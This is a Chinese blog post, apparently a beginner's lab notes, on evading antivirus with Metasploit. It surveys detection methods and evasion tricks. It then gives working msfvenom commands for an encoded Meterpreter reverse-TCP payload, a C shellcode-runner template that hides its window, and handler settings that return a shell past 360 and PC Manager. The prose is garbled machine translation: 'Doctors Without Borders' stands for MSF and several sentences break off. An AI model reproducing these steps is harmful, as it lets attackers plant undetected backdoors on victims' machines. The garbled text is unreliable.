您的位置  > 互联网

病毒“中国黑客II”的出现,如何实现免杀?

最近学习msf,学习了一些简单的模块使用、渗透、提权、反查杀。 我也利用靶场进行了一次小型实战,写了一篇文章记录一下。

什么是无国界医生

是一个免费、可下载的渗透测试框架,可以轻松获取、开发和攻击计算机软件漏洞。它附带针对数千个已知软件漏洞的专业级漏洞攻击工具,并且 MSF 团队始终在更新 MSF 的漏洞。

图书馆,让无国界医生永远充满生机。 通俗地说,MSF是一个集成了渗透测试全流程的渗透工具。 理论上来说,我们只能依靠MSF来完成从信息收集到最终制作后门并清理入侵痕迹的整个渗透测试过程。

什么叫免杀?

首先,杀毒软件是杀毒软件或杀毒软件的反义词。 可以理解为抗病毒技术或者抗反病毒技术。 可以追溯到2002年7月,当时中国第一个真正变异的病毒“中国黑客二号”出现,而要想免遭杀戮,首先要甘心

一定要清楚了解杀毒软件的病毒检测机制

如何使用防病毒软件检测病毒

一般来说,检测杀毒软件有以下三种方法:

特征码方法

其原理是,同种或类型的病毒会有部分核心代码相同或相似。 比如我们在>中提到的,这些的最终目的只是

一是命令执行。 既然目的已经明确,那么这些木马执行命令的代码肯定有相似或相同的部分。 杀毒软件可以利用它来完成病毒检测。

哈希检查方法

该方法计算文件的哈希值,并定期或在需要时调用,以验证文件的哈希值在一段时间内是否发生变化。 如果有变化,则该文件可能被入侵或挂载。 接下来需要进行进一步的检查

行为测试

该方法根据病毒软件经常执行的命令执行、信息获取、权限提升等活动进行检测。

主动防御法

HIPS(主机入侵防御系统),如果以上行为无法准确检测该软件是否为病毒软件,还可以将可疑软件上传到云端虚拟环境中进行试运行。 如果云虚拟环境被破坏,基本可以断定该软件是病毒软件。 病毒软件

防杀方法

针对上述几种反病毒检测方法,出现了以下五种反病毒技术:

修改特征代码

首先,反病毒技术的核心是破坏或修改特征。 这个特征值是广义上的特征,包括特征代码或者特征行为。 只要破坏木马或病毒固有的特征代码并保证其原有功能,功能不被破坏,木马(病毒)就可以

如果运行正常,那么我们就完成了成功的越狱。

(字符码:能够识别程序为病毒的不超过64字节的特征字符串)

例如:著名的“灰鸽子”病毒的一大特征代码就是上传后显示“灰鸽子上线成功!”的字样。 将出现在其地址之一。 这个词实际上对木马本身的运行没有任何影响。 实质性效果,那么删除就不会绕过这个

一句话简介:杀毒软件的检测是基于签名检测的吗?

当然,这只是最简单的例子。 杀毒软件检测到的特征码大多是针对病毒运行的核心块进行检测的。 如果要修改这些代码,可不是直接删除那么简单。 在这种情况下,通常会使用编码或编译。 避免杀死病毒的方法

避免杀死垃圾代码

顾名思义,垃圾代码就是一堆无用的代码。 那么将这些代码添加到病毒中有什么用呢?

事实上,防病毒软件不可能通过从头到尾遍历文件的所有字节来检测文件。 这不仅会花费大量的时间,而且还会占用大量的系统资源。 因此,目前主流杀毒软件对特征码的检测能力有限。 在一定的偏移量内,对于该方法,如

如果我们在特征码前添加大量对病毒运行没有影响的垃圾指令,将我们的特征码“挤”出该偏移量,就可以达到避开病毒的目的。

包装以避免杀戮

简单来说,就是软件加密(或软件压缩),只是加密(或压缩)的方法和目的不同。 外壳是对软件的附加保护,不会破坏内部的程序结构。 当我们运行这个加壳的程序时,系统会先运行程序中的shell,然后shell会将加密后的程序逐渐恢复到内存中。 最后运行程序。

资源修改避免kill

有些杀毒软件可能有像网站的WAF这样的白名单机制。 例如,将木马图标改为360图标即可通过360的检测。 使用此方法,可以找到多个合法正常的软件,并且将其资源添加到其木马中,如图标、

版本、数字签名等

二次编译避免被杀

它提供了多种格式和生成的文件,这也为二次加工提供了极大的便利。 但与此同时,msf的编码库和病毒库也受到各大厂商的密切关注。

但msf中唯一评估的就是编码器(我们在下面的实际拍摄演示中会用到它)。 这种多态编码技术使得每次生成的攻击负载文件都不同,而编码和解码也相同。 不一样。 还可以使用管道执行多次编码以避免杀掉。

但需要注意的是,目前的功能基本已经进入杀毒软件的漏洞库,因此很难实现单次编码(无论编码多少次)绕过杀毒​​软件,因此进一步修改和编译已经成为msf杀毒软件的主流。

不仅仅是二次编译,整个反病毒技术其实就是黑客和反病毒厂商一直在玩的游戏。 如今,通过单一的防病毒技术很难绕过主流的杀毒软件,因此在成功的免杀中,往往会采用两种甚至更多的免杀方式。

针对我们的木马,本文进行的实战是用C、C#等语言进行二次编码来免杀。

实际射击范围

说了这么多理论,我们就开始实际操作吧~

本次实战使用的工具:

win7虚拟机、kali虚拟机、msf、360、电脑管家、

这个实际的网络拓扑图:

首先,使用攻击机生成一个普通木马(只有简单的编码)来测试360和电脑管家的威力。

msfvenom -p windows/meterpreter/revse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.119.130 lport=1234 -f exe > haixian.exe 

-i 指定编码数量 -e 指定编码格式

首先将木马复制到本地机器,使用本地360报毒。

然后粘贴到受害机器中,用360和电脑管家扫描,都会报有毒。

接下来开始反杀操作:

输入命令

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 15 -b ‘\x00’ lhost=192.168.119.130 lport=1234 -f c 

-b 避免使用字符 -f 指定输出格式

此时输出是C语言格式,并且已经编码了15次。

接下来打开C++,选择New File->Win32->填写项目名称(注意只能使用英文输入法)->选择Win32->OK

选择->文件->文件->.cpp

将内容替换为

#include "stdafx.h"
#include 
#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"")
unsigned char buf[] =
(这里放生成好的数组)
main()
{
((void(*)(void))&buf)();
}

这段代码的意思很简单,就是执行数组(注意第六行的括号一定要去掉,否则编译不成功)

让我们分别构建和编译.cpp 和.cpp。

接下来就可以在项目文件夹下的Debug文件夹中看到.exe了。

将.exe粘贴到受害机器中,使用360和电脑管家进行检测,成功绕过!

攻击机设置监控

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.119.130
set lport 1234
run

在受害机器上运行防病毒软件(无需关闭防病毒软件)

可以看到在受害机器上弹起的shell

至此,我们就完成了该木马的反查杀过程,并成功在受害机器的防病毒环境中运行该木马。

写在背面

本文是作者作为渗透新手写的学习记录。 如果路过的高手有好的意见,欢迎指正。

下一篇文章会讲内网穿透,敬请期待~~~